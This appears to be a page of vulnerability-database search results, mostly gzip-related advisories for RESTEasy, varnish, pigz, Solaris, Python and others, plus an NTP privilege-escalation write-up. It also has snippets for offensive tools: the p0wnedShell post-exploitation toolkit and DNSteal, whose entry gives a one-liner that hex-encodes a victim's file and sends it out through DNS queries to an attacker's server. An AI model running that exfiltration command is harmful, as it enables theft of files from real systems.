DEBIAN-CVE-2016-6346

RESTEasy enables GZIPInterceptor, which allows remote attackers to cause a denial of service via unspecified vectors...

UBUNTU-CVE-2016-6346

RESTEasy enables GZIPInterceptor, which allows remote attackers to cause a denial of service via unspecified vectors...

openSUSE Security Update : varnish (openSUSE-2016-588)

This varnish update to version 3.0.7 fixes the following issues : Security issues fixed : - CVE-2015-8852: Vulnerable to HTTP Smuggling issues: Double Content Length and bad EOL. boo976097 Bugs fixed : - Stop recognizing a single CR \r as a HTTP line separator. - Improved error detection on...

openSUSE Security Update : pigz (openSUSE-2016-299)

Pigz, a multi-threaded implementation of gzip, was updated to fix one vulnerability. The following vulnerability was fixed : - A crafted file could have caused an unwanted directory traversal on extract CVE-2015-1191 %NASLMINLEVEL 70300 C Tenable Network Security, Inc. The descriptive text and...

p0wnedShell - PowerShell Runspace Post Exploitation Toolkit

p0wnedShell is an offensive PowerShell host application written in C that does not rely on powershell.exe but runs powershell commands and functions within a powershell runspace environment .NET. It has a lot of offensive PowerShell modules and binaries included to make the process of Post...

NTP - Local Privilege Escalation

NTP - Local Privilege Escalation Source: http://www.halfdog.net/Security/2015/NtpCronjobUserNtpToRootPrivilegeEscalation/ Introduction Problem description: The cronjob script bundled with ntp package is intended to perform cleanup on statistics files produced by NTP daemon running with statistics...

NTP - Local Privilege Escalation

Source: http://www.halfdog.net/Security/2015/NtpCronjobUserNtpToRootPrivilegeEscalation/ Introduction Problem description: The cronjob script bundled with ntp package is intended to perform cleanup on statistics files produced by NTP daemon running with statistics enabled. The script is run as ro...

chrony security, bug fix, and enhancement update

2.1.1-1 - update to 2.1.1 1117882 - add -n option to gzip command to not save timestamp 2.1-1 - update to 2.1 1117882 1169353 1206504 1209568 CVE-2015-1821 CVE-2015-1822 CVE-2015-1853 - extend chrony-helper to allow using servers from DNS SRV records 1211600 - add servers from DHCP with iburst...

python: XMLRPC library unrestricted decompression of HTTP responses using gzip enconding

It was discovered that the Python xmlrpclib did not restrict the size of a gzip compressed HTTP responses. A malicious XMLRPC server could cause an XMLRPC client using xmlrpclib to consume an excessive amount of memory...

The vulnerability of the Solaris operating system, which allows a hacker to execute arbitrary code

The vulnerability of the Gzip sub-component of the Solaris operating system is related to errors in the code. Exploiting this vulnerability allows a local attacker to execute arbitrary code...

Oracle Solaris Critical Patch Update : oct2015_SRU11_1_15_4_0

This Solaris system is missing necessary patches to address a critical security update : - Vulnerability in the Solaris component of Oracle Sun Systems Products Suite subcomponent: Gzip. Supported versions that are affected are 10 and 11.2. Difficult to exploit vulnerability requiring logon to...

Unspecified Vulnerability in Oracle Sun Solaris (CNVD-2015-06827)

Oracle Sun Solaris is a set of Unix-like operating systems from Oracle. An unspecified vulnerability exists in Oracle Sun Solaris 10 and 11.2. It allows local users to affect confidentiality, integrity, and availability via unspecified vectors related to gzip...

CVE-2015-2642

Unspecified vulnerability in Oracle Sun Solaris 10 and 11.2 allows local users to affect confidentiality, integrity, and availability via unknown vectors related to Gzip...

Design/Logic Flaw

Unspecified vulnerability in Oracle Sun Solaris 10 and 11.2 allows local users to affect confidentiality, integrity, and availability via unknown vectors related to Gzip...

CVE-2015-2642

Unspecified vulnerability in Oracle Sun Solaris 10 and 11.2 allows local users to affect confidentiality, integrity, and availability via unknown vectors related to Gzip...

DNSteal - DNS Exfiltration tool for stealthily sending files over DNS requests

This is a fake DNS server that allows you to stealthily extract files from a victim machine through DNS requests. Below is an image showing an example of how to use: On the victim machine, you simply can do something like so: for b in $xxd -p file/to/send.png; do dig @server $b.filename.com; done...

Updated python-tornado package fixes security vulnerability

Security fixes CVE-2014-9720 The XSRF token is now encoded with a random mask on each request. This makes it safe to include in compressed pages without being vulnerable to the BREACH attack. This applies to most applications that use both the xsrfcookies and gzip options or have gzip applied by ...

Apple OS X GZIP DMG Information Disclosure Vulnerability

This vulnerability allows remote attackers to execute arbitrary code on vulnerable installations of Apple OS X. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file. The specific flaw exists within the handling of DMG...

Amazon Linux AMI : python27 (ALAS-2015-552)

It was discovered that multiple Python standard library modules implementing network protocols such as httplib or smtplib failed to restrict sizes of server responses. A malicious server could cause a client using one of the affected modules to consume an excessive amount of memory.CVE-2013-1752 ...

Medium: python27

Issue Overview: It was discovered that multiple Python standard library modules implementing network protocols such as httplib or smtplib failed to restrict sizes of server responses. A malicious server could cause a client using one of the affected modules to consume an excessive amount of...